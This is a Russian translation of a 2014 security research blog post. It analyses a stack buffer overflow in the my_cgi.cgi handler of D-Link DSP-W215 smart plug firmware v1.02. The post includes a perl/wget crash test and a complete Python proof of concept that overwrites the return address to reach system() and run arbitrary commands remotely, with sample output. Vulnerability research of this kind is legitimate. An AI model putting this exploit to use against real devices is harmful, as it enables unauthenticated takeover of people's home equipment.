...

суббота, 24 мая 2014 г.

[Перевод] Взламываем D-Link DSP-W215 Smart Plug. Снова

image

Недавно, D-Link выпустил прошивку v1.02 для DSP-W215, в которой исправлен баг HNAP с переполнением буфера в my_cgi.cgi. Хоть они и быстренько убрали прошивку с сайта: «Вы можете обновить прошивку через мобильное приложение», я успел ее скачать перед моим рейсом в Мюнхен, и 8-часовой перелет предоставил мне достаточно времени для качественного анализа новой версии прошивки.

К сожалению, баг с HNAP был не единственной проблемой этого устройства. Конфигурационный файл lighttpd показывает нам, что my_cgi.cgi используется для обработки некоторых страниц, а не только HNAP-запросов:



alias.url += ( "/HNAP1/" => "/www/my_cgi.cgi",
"/HNAP1" => "/www/my_cgi.cgi",
"/router_info.xml" => "/www/my_cgi.cgi",
"/post_login.xml" => "/www/my_cgi.cgi",
"/get_shareport_info" => "/www/my_cgi.cgi",
"/secmark1524.cgi" => "/www/my_cgi.cgi",
"/common/info.cgi" => "/www/my_cgi.cgi"
)


Главная функция в my_cgi.cgi имеет для ветвления кода: один для обработки HNAP-запросов, а другой — для всего остального:

image


Если HTTP-запрос был не HNAP (например, /common/info.cgi) и если это был POST-запрос, то в этом случае, my_cgi.cgi получает некоторые HTTP-заголовки, в том числе и Content-Length:

image


Если Content-Length больше нуля, то вызывается функция get_input_entries, которая ответственна за чтение и парсинг POST-параметров:

image


Функция get_input_entries принимает два аргумента: указатель на структуру «entries» и размер POST-данных (т.е. Content-Length):



struct entries
{
char name[36]; // POST paramter name
char value[1025]; // POST parameter value
};

// Returns the number of POST parameters that were processed
int get_input_entries(struct *entries post_entries, int content_length);


Это несколько подозрительно, т.к. параметр передается в get_input_entries прямо из заголовка Content-Length, который был указан в HTTP-запросе, а указатель структуры указывает на локальную переменную в стеке в главной функции:



int content_length, num_entries;
struct entries my_entries[450]; // total size: 477450 bytes

content_length = strtol(getenv("CONTENT_LENGTH"), 10);
memset(my_entries, 0, sizeof(my_entries));

num_entries = get_input_entries(&my_entries, content_length);


Конечно же, get_input_entries содержит цикл с fgetc (практически такой же, который вызывал HNAP-уязвимость), который парсит POST-запрос (имена и значения) и сохраняет их в структуре «entries»:

image

Цикл fgetc


image

fgetc(stdin) внутри цикла for


image

Значение, прочитанное fgetc, сохраняется в name/value в структуре «entries»


Т.к. структура «entries», в нашем случае, является стековой переменной в main, чрезмерно длинное POST-значение вызовет переполнение стека в get_input_entries, а соответственно, и в main.


Для того, чтобы избежать падение перед возвращением в main (более подробно об этом будет в следующем посте), нам нужно выйти из функции get_input_entries как можно скорее. Проще всего это сделать, передав единственный POST-параметр «storage_path», т.к. код в get_input_entries пропускается, если этот параметр встречается:

image


Если мы посмотрим в стек main, мы увидим, что начало структуры «entries» находится на 0×74944 байт дальше от адреса возврата в стеке:

image


Из-за того, что на имена из POST-запроса отводится 36 байт в структуре, POST-значение размером 477472 (0×74944-36) байт переполнит на стеке все до сохраненного адреса возврата:



# Overwrite the saved return address with 0x41414141
perl -e 'print "storage_path="; print "B"x477472; print "A"x4' > overflow.txt
wget --post-file=overflow.txt http://ift.tt/1jYHL46




image

$ra перезаписан значением 0×41414141

Теперь мы контролируем $ra, а значит можем вернуться в тот же вызов system(), который мы использовали в переполнении HNAP для того, чтобы выполнять произвольные команды:

image

вызов system() по адресу 0x00405CEC


Вот вам PoC:



#!/usr/bin/env python

import sys
import urllib2

try:
target = sys.argv[1]
command = sys.argv[2]
except:
print "Usage: %s <target> <command>" % sys.argv[0]
sys.exit(1)

url = "http://%s/common/info.cgi" % target

buf = "storage_path=" # POST parameter name
buf += "D" * (0x74944-36) # Stack filler
buf += "\x00\x40\x5C\xEC" # Overwrite $ra
buf += "E" * 0x28 # Command to execute must be at $sp+0x28
buf += command # Command to execute
buf += "\x00" # NULL terminate the command

req = urllib2.Request(url, buf)
print urllib2.urlopen(req).read()


Который отлично работает с последней версией прошивки:



./exploit.py 192.168.0.60 'ls -l /'
drwxr-xr-x 2 1000 1000 4096 May 16 09:01 bin
drwxrwxr-x 3 1000 1000 4096 May 17 15:42 dev
drwxrwxr-x 3 1000 1000 4096 Sep 3 2010 etc
drwxrwxr-x 3 1000 1000 4096 May 16 09:01 lib
drwxr-xr-x 3 1000 1000 4096 May 16 09:01 libexec
lrwxrwxrwx 1 1000 1000 11 May 17 15:20 linuxrc -> bin/busybox
drwxrwxr-x 2 1000 1000 4096 Nov 11 2008 lost+found
drwxrwxr-x 6 1000 1000 4096 May 17 15:15 mnt
drwxr-xr-x 2 1000 1000 4096 May 16 09:01 mydlink
drwxrwxr-x 2 1000 1000 4096 Nov 11 2008 proc
drwxrwxr-x 2 1000 1000 4096 May 17 17:23 root
drwxr-xr-x 2 1000 1000 4096 May 16 09:01 sbin
drwxrwxr-x 3 1000 1000 4096 May 20 17:10 tmp
drwxrwxr-x 7 1000 1000 4096 May 16 09:01 usr
drwxrwxr-x 3 1000 1000 4096 May 17 15:21 var
-rw-r--r-- 1 1000 1000 17 May 16 09:01 version
drwxrwxr-x 8 1000 1000 4096 May 17 15:15 www


This entry passed through the Full-Text RSS service — if this is your content and you're reading it on someone else's site, please read the FAQ at http://ift.tt/jcXqJW.


Комментариев нет:

Отправить комментарий